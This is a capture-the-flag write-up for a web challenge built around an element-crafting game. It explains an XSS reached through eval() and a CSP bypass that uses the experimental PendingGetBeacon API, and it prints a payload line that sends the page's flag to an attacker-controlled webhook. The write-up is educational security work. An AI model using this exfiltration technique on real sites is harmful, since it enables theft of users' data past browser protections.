It closely resembles games like Doodle God, where you have to mix elements to create new ones. Taking a look at the attached files, I immediately noticed two interesting things in the index.js file:
At the beginning of the file, some variables are declared: recipes, elements, and found. Respectively, the first one contains all the combinations that form all the possible elements, the second is a map for all the possible elements, and the third indicates the elements found (initially set to Fire, Water, Earth, Air). As we can see from the code above, the word XSS even suggests that in that specific part of the code, it is possible to achieve an XSS. The only thing we need to figure out is how to construct a chain of elements to discover the XSS element, from which we can obtain an injection since it is passed to an eval() function. Continuing to read through the files, I found more interesting things in the index.mjs file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
constcsp=["default-src 'none'","style-src 'unsafe-inline'","script-src 'unsafe-eval' 'self'","frame-ancestors 'none'","worker-src 'none'","navigate-to 'none'"]// no seriously, do NOT attack the online-mode server!
// the solution literally CANNOT use it!
if(req.headers.host!=='127.0.0.1:8080'){csp.push("connect-src https://elements.attest.lol/");}res.setHeader('Content-Security-Policy',csp.join('; '));res.setHeader('Cross-Origin-Opener-Policy','same-origin');res.setHeader('X-Frame-Options','deny');res.setHeader('X-Content-Type-Options','nosniff');
As we can see, there are very strict CSP rules that prevent making requests outside the scope of the website… So, most likely, to send ourselves the flag, we will need to bypass the CSP (Content Security Policy). Additionally, I found the /remoteCraft route, where we can send the element chain to create the XSS element:
As we can see, the server ensures that the chain contains fewer than 50 elements, so we cannot build one that exceeds this limit. Additionally, we are restricted to an XSS payload with fewer than 300 characters. These limitations are quite strict… Let’s move on to the exploitation phase.
๐ฌ Vulnerability Analysis
Potential Vulnerabilities
XSS (Cross Site Scripting)
CSP (Content Security Policy) Bypass
๐ฏ Solution Path
Exploitation Steps
Initial setup
The first step is to construct the element chain to reach XSS. To do this, we can inspect the recipes variable to see what is needed to obtain XSS and manually build the chain (which would be quite tedious). Alternatively, we can write a script that directly extracts the chain for us. I used the second method, but I admit that I copied the script from an online write-up since I’m currently a bit rusty with programming ^^. So, I’ll try to explain it instead. This script simulates a crafting (or element combination) system, where, starting from a set of base elements, recipes are applied to obtain new elements until the target element XSS is reached. Hereโs a detailed breakdown of what it does:
The variable have contains the base elements: "Fire", "Water", "Earth", and "Air". The recipes list contains numerous recipes. Each recipe is a list consisting of three strings: the first and second elements are the required ingredients, while the third is the resulting product of the combination.
The script enters a while loop that continues until "XSS" is present in the have set.
Inside the loop, for each recipe t: If both ingredients (t[0] and t[1]) are present in haveand the product (t[2]) is not already in have, then: The recipe is added to the steps list. The product is added to the have set, and if the product is XSS, the loop breaks.
Backtracking phase: After obtaining "XSS", a needs set is created, initially containing "XSS". The script then iterates over steps in reverse order, trying to “reconstruct” the path required to obtain "XSS". For each step (presumably a recipe represented by a list [ingredient1, ingredient2, product]), if the product (s[2]) is present in needs, then: The pair of ingredients used in that recipe is added to the output (in the answer variable). The product is removed from the needs set and replaced with the two ingredients, allowing the script to “trace back” the combination chain to the base elements.
So, to construct the chain, I simply ran the script:
And as we can see, the function window.location.hash.slice(1) is used, so we can directly pass our payload to test it like this: rhea.picoctf.net:61508/#payload_base64. We need to pass it as base64 due to the atob() function. I then add "xss":"alert(1)" to the crafted element chain to try to trigger the XSS and execute alert(1), and encode it in base64:
After trying to visit the URL (if it doesn’t work, refresh with F5), I got the injection:
Alert Injection
Now the real challenge is figuring out how to bypass the CSP to send the flag to ourselves. Let’s move on to the next phase.
Exploitation
I must admit, I looked at this part in a write-up… The CSP seemed very strict, almost not allowing anything through. In fact, I also noticed in the policy.json file:
That all URLs outside of localhost:8080 are blocked, and at some point, I thought it was impossible. However, it turns out there was a method. By taking a look at the flags specified in the spawn() of the chromium instance (which, by the way, was modified by the challenge authors):
There is a flag --enable-experimental-web-platform-features that enables experimental features. In this case, there is an API (for this specific chromium version) called PendingGetBeacon that allows sending GET requests, and since it uses a technique (similar to the Beacon API) to send a GET request, it often bypasses the restrictions of CSP and URL policies (allowlist/blocklist). These restrictions are typically applied to standard requests (like fetch or XMLHttpRequest) and do not always strictly control beacons or requests generated through unconventional methods. In other words, the PendingGetBeacon might be exempt or not fully covered by the rules blocking external URLs. So, we can specify:
1
"xss":" let pb = new PendingGetBeacon('https://webhook_link/?flag=${state.flag}');pb.sendNow();"
To send the flag to ourselves, the first thing I did was take the link of a webhook (https://webhook.site) and set it in the exploit script. In the previously seen payload, I got the base64 and constructed the link:
By sending the request (as done previously for the alert) and checking the web interface of the created webhook, I received the request with the flag parameter containing the value of the flag.
Flag capture
Manual Flag
๐ ๏ธ Exploitation Process
Approach
The automatic exploit literally performs the steps previously described, using the /remoteCraft route instead of http://rhea.picoctf.net:61508/#payload_base64 to send the payload. You just need to run server.py and have exploit.py in the same directory. The structure right now is a bit messy, but as soon as I have some time, I plan to write a library with all these functions. Currently, server.py uses serveo for forwarding, extracting the link from the stdout of subprocess and passing it to exploit.py as argv. Then, the payload is set, and all of this is executed via a background thread while the Flask server runs in the foreground. This way, as soon as the request is made, it arrives at the Flask server, and through a regex, I extract only the flag.
